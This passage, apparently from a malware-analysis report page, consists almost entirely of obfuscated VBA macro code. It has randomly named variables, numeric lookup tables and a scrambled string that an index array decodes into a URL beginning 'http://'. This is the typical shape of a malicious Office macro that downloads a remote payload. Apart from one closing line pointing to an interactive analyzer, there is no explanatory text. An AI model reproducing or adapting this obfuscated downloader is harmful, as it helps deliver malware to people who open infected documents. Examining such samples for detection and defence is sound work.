rcfcT(84) = 232
rcfcT(85) = 101
rcfcT(86) = 160
rcfcT(87) = 167
rcfcT(88) = 287
rcfcT(89) = 105
rcfcT(90) = 14
rcfcT(91) = 366
rcfcT(92) = 131
rcfcT(93) = 171
rcfcT(94) = 122
rcfcT(95) = 145
rcfcT(96) = 385
rcfcT(97) = 12
rcfcT(98) = 197
rcfcT(99) = 107
rcfcT(100) = 266
rcfcT(101) = 115
rcfcT(102) = 98
rcfcT(103) = 166
rcfcT(104) = 51
rcfcT(105) = 374
rcfcT(106) = 55
rcfcT(107) = 244
rcfcT(108) = 171
rcfcT(109) = 374
rcfcT(110) = 106
rcfcT(111) = 384
rcfcT(112) = 217
rcfcT(113) = 166
rcfcT(114) = 212
rcfcT(115) = 211
rcfcT(116) = 362
rcfcT(117) = 334
rcfcT(118) = 59
rcfcT(119) = 105
rcfcT(120) = 194
rcfcT(121) = 2
rcfcT(122) = 295
rcfcT(123) = 8
rcfcT(124) = 289
rcfcT(125) = 155
rcfcT(126) = 273
rcfcT(127) = 257
rcfcT(128) = 285
rcfcT(129) = 37
rcfcT(130) = 158
rcfcT(131) = 72
rcfcT(132) = 171
rcfcT(133) = 42
rcfcT(134) = 87
tTxiSc = aBGIMOS(HqgRIbxP, rcfcT, EUBPbG)
Dim Sdkw As String
Dim XYBTdnh As String
Dim bqxEoBS(61) As Long
Dim IyL As Long
IyL = 40
XYBTdnh = "kNaprqVAqltgNuRQntzGRhTgBIaeMpeFDVhFEoCaCCLpTHcrTOwIhFMjhPpHecIELcfjiXonHIf/dcBDM/dM/ZvsRTfPeZbiXsmn.I/giZiEahleLrf:TQiGXweKpaKEbhzkXSrdhqZvbArQqFUtLYlLxaJvrDaFLpDodObHeAwFF8EaNFCfRsnZxrezalFEWEfsaKxBpboks/AuKeSMhAbtkLvjFYjSfgpixFQSYSgCgOVYNaYvuulJtNnXFqMaBVTpinrGFqcviZPlqXYwilfoJzmMBqistmwqeMcJziwaWAeldyEFEahkeoctEVevl"
bqxEoBS(0) = 22
bqxEoBS(1) = 11
bqxEoBS(2) = 11
bqxEoBS(3) = 4
bqxEoBS(4) = 116
bqxEoBS(5) = 76
bqxEoBS(6) = 76
bqxEoBS(7) = 47
bqxEoBS(8) = 38
bqxEoBS(9) = 17
bqxEoBS(10) = 67
bqxEoBS(11) = 28
bqxEoBS(12) = 77
bqxEoBS(13) = 28
bqxEoBS(14) = 5
bqxEoBS(15) = 3
bqxEoBS(16) = 11
bqxEoBS(17) = 69
bqxEoBS(18) = 38
bqxEoBS(19) = 17
bqxEoBS(20) = 47
bqxEoBS(21) = 69
bqxEoBS(22) = 6
bqxEoBS(23) = 101
bqxEoBS(24) = 67
bqxEoBS(25) = 5
bqxEoBS(26) = 76
bqxEoBS(27) = 69
bqxEoBS(28) = 99
bqxEoBS(29) = 3
bqxEoBS(30) = 12
bqxEoBS(31) = 28
bqxEoBS(32) = 88
bqxEoBS(33) = 76
bqxEoBS(34) = 174
bqxEoBS(35) = 15
bqxEoBS(36) = 26
bqxEoBS(37) = 32
bqxEoBS(38) = 5
bqxEoBS(39) = 76
…

Open this report in the interactive analyzer, or submit your own file for analysis.